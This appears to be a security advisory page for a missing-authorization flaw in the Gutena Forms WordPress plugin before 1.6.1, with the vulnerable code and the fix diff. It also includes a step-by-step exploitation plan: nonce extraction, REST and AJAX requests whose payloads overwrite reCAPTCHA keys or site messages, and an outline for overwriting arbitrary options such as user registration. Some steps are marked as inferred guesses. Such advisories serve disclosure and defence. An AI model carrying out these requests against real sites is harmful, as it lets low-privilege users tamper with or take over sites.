Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder < 1.6.1 - Missing Authorization to Authenticated (Contributor+) Settings Update
Description
The Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to 1.6.1 (exclusive). This makes it possible for authenticated attackers, with Contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.6.1
Source Code
WordPress.org SVN# Exploitation Research Plan: Gutena Forms Missing Authorization (CVE-2026-1753) ## 1. Vulnerability Summary The **Gutena Forms** plugin for WordPress is vulnerable to unauthorized settings updates due to missing capability checks in its administrative interfaces. Specifically, in versions prior to…
Show full research plan
Exploitation Research Plan: Gutena Forms Missing Authorization (CVE-2026-1753)
1. Vulnerability Summary
The Gutena Forms plugin for WordPress is vulnerable to unauthorized settings updates due to missing capability checks in its administrative interfaces. Specifically, in versions prior to 1.6.1, certain functions responsible for updating global plugin settings (such as reCAPTCHA keys, Turnstile settings, and global form messages) are accessible to any authenticated user with Contributor-level permissions or higher. This occurs because the permission check (likely in the REST API or AJAX handlers) uses a weak capability like edit_posts instead of manage_options.
2. Attack Vector Analysis
- Endpoint: WordPress REST API endpoint
/wp-json/gutena-forms/v1/settings. - Method:
POST - Authentication: Authenticated (Contributor+)
- Vulnerable Parameter: The request body (JSON) containing settings keys to be updated.
- Payload: A JSON object overwriting sensitive global options such as
gutena_forms_grecaptchaorgutena_forms_turnstile. - Preconditions:
- The plugin version must be < 1.6.1.
- An attacker must have credentials for a user with the
Contributorrole.
3. Code Flow
- Entry Point: The plugin initializes its REST API in
gutena-forms.phpby includingincludes/rest-api/class-rest-api.php. - Registration: Inside
class-rest-api.php(referenced inincludes/rest-api/class-rest-api.php), a route is registered:register_rest_route('gutena-forms/v1', '/settings', ...). - Weak Check: The
permission_callbackfor this route incorrectly usescurrent_user_can('edit_posts')or lacks a check entirely, allowing any user who can edit posts (Contributors and above) to pass the authorization phase. - Execution: The callback function (e.g.,
update_settings) receives the JSON payload and callsupdate_option()for keys likegutena_forms_grecaptchawithout further verification. - Sink:
update_option()in the WordPress database.
4. Nonce Acquisition Strategy
The WordPress REST API requires a standard wp_rest nonce for POST requests from authenticated users.
- Access Admin Context: Even if a Contributor cannot see the Gutena Forms menu, they can access the standard post editor.
- Navigate: Use the browser to navigate to
/wp-admin/post-new.php. - Extract Nonce: The standard WordPress REST API nonce is stored in the
window.wpApiSettings.noncevariable. - JavaScript Tool:
browser_eval("window.wpApiSettings.nonce") - Alternative: If the plugin enqueues its own settings scripts, check
window.gutena_forms_admin?.nonce(inferred).
5. Exploitation Strategy
Step 1: Authentication
Login as a user with the Contributor role.
Step 2: Nonce Extraction
Navigate to the post editor and extract the REST nonce.
- URL:
/wp-admin/post-new.php - Action: Extract
window.wpApiSettings.nonce.
Step 3: Malicious Settings Update
Send a POST request to the REST API to update the reCAPTCHA settings.
- URL:
/wp-json/gutena-forms/v1/settings - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "gutena_forms_grecaptcha": { "site_key": "PWNED_SITE_KEY", "secret_key": "PWNED_SECRET_KEY", "enabled": "1" } }
Step 4: Verification
Confirm the setting was updated using WP-CLI.
6. Test Data Setup
- Target Version: Ensure Gutena Forms v1.6.0 is installed.
- User Creation: Create a Contributor user:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Optional: Initialize the default settings if they don't exist:
wp option add gutena_forms_grecaptcha '{"site_key": "original", "secret_key": "original"}' --format=json
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - The response body should confirm the settings were updated.
- The global
gutena_forms_grecaptchaoption in the database should now contain the attacker's values.
8. Verification Steps
After performing the HTTP request, use WP-CLI to verify the change:
wp option get gutena_forms_grecaptcha --format=json
Success Condition: The output shows "site_key": "PWNED_SITE_KEY".
9. Alternative Approaches
If the REST API route is different or disabled, check for an AJAX handler:
- Action:
wp_ajax_gutena_forms_save_settings(inferred). - Endpoint:
/wp-admin/admin-ajax.php. - Parameters:
action=gutena_forms_save_settings&security=[NONCE]&settings[gutena_forms_grecaptcha][site_key]=PWNED. - Nonce Source: Search page source for
gutena_forms_adminlocalization inwp-admin/admin.php?page=gutena-forms(if accessible) or via block editor settings.
Another target option for verification:
- Option Name:
gutena_forms_messages - Payload:
{"gutena_forms_messages": {"success": "Your site has been hacked!"}}
Summary
The Gutena Forms plugin for WordPress is vulnerable to unauthorized settings updates and arbitrary option overwrites due to missing capability checks and insufficient validation of user-controlled option keys. Authenticated attackers with Contributor-level permissions can exploit this by manipulating the formID parameter during form saving, allowing them to overwrite sensitive global options such as reCAPTCHA keys or site configuration.
Vulnerable Code
// gutena-forms.php (around line 465 in v1.6.0) // filter for formSchema $formSchema_filtered = apply_filters( 'gutena_forms_save_form_schema', $formSchema, $formSchema['form_attrs']['formID'], $gutena_form_ids ); //Save form schema update_option( sanitize_key( $formSchema['form_attrs']['formID'] ), $this->sanitize_array( $formSchema_filtered, true ) );
Security Fix
@@ -4,7 +4,7 @@ * Description: Gutena Forms is the easiest way to create forms inside the WordPress block editor. Our plugin does not use jQuery and is lightweight, so you can rest assured that it won’t slow down your website. Instead, it allows you to quickly and easily create custom forms right inside the block editor. * Requires at least: 6.5 * Requires PHP: 5.6 - * Version: 1.6.0 + * Version: 1.6.1 * Author: Gutena Forms * Author URI: https://gutenaforms.com * License: GPL-2.0-or-later @@ -42,7 +42,44 @@ * Plugin version. */ if ( ! defined( 'GUTENA_FORMS_VERSION' ) ) { - define( 'GUTENA_FORMS_VERSION', '1.5.1' ); + define( 'GUTENA_FORMS_VERSION', '1.6.1' ); +} + +/** + * Option name prefix for form schema (security: prevents arbitrary option overwrite). + */ +if ( ! defined( 'GUTENA_FORMS_SCHEMA_OPTION_PREFIX' ) ) { + define( 'GUTENA_FORMS_SCHEMA_OPTION_PREFIX', 'gutena_forms_schema_' ); +} + +if ( ! function_exists( 'gutena_forms_get_form_schema_option' ) ) { + /** + * Get form schema option value. Checks non-prefixed first, then prefixed; if both exist, returns prefixed. + * + * @param string $form_id Form ID (option key). + * @param mixed $default Default if neither option exists. + * @return mixed Form schema array or $default. + */ + function gutena_forms_get_form_schema_option( $form_id, $default = false ) { + $form_id = sanitize_key( $form_id ); + if ( '' === $form_id ) { + return $default; + } + $non_prefixed = get_option( $form_id, null ); + $prefixed = get_option( GUTENA_FORMS_SCHEMA_OPTION_PREFIX . $form_id, null ); + $has_non_prefixed = ( null !== $non_prefixed ); + $has_prefixed = ( null !== $prefixed ); + if ( $has_non_prefixed && $has_prefixed ) { + return $prefixed; + } + if ( $has_prefixed ) { + return $prefixed; + } + if ( $has_non_prefixed ) { + return $non_prefixed; + } + return $default; + } } if ( ! function_exists( 'gutena_forms__fs' ) ) : @@ -463,9 +500,9 @@ } //filter for formSchema $formSchema_filtered = apply_filters( 'gutena_forms_save_form_schema', $formSchema, $formSchema['form_attrs']['formID'], $gutena_form_ids ); - //Save form schema + //Save form schema (prefixed option name prevents arbitrary option overwrite) update_option( - sanitize_key( $formSchema['form_attrs']['formID'] ), + GUTENA_FORMS_SCHEMA_OPTION_PREFIX . sanitize_key( $formSchema['form_attrs']['formID'] ), $this->sanitize_array( $formSchema_filtered, true ) );
Exploit Outline
1. Authenticate as a user with Contributor-level access or higher. 2. Access the WordPress block editor (e.g., create a new post at `/wp-admin/post-new.php`). 3. Insert a Gutena Form block and observe the outgoing REST API or AJAX request used to save the form configuration. 4. Intercept the save request and modify the `formID` attribute inside the `form_attrs` object to match a sensitive WordPress option name, such as `gutena_forms_grecaptcha` (to disrupt security) or `users_can_register` (to enable registration). 5. Include the desired malicious value for that option in the `formSchema` payload. 6. Submit the request; the server will execute `update_option()` using the attacker-supplied key, thereby overwriting the site setting because the capability check only verifies if the user can save posts (Contributor level), not manage global options.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.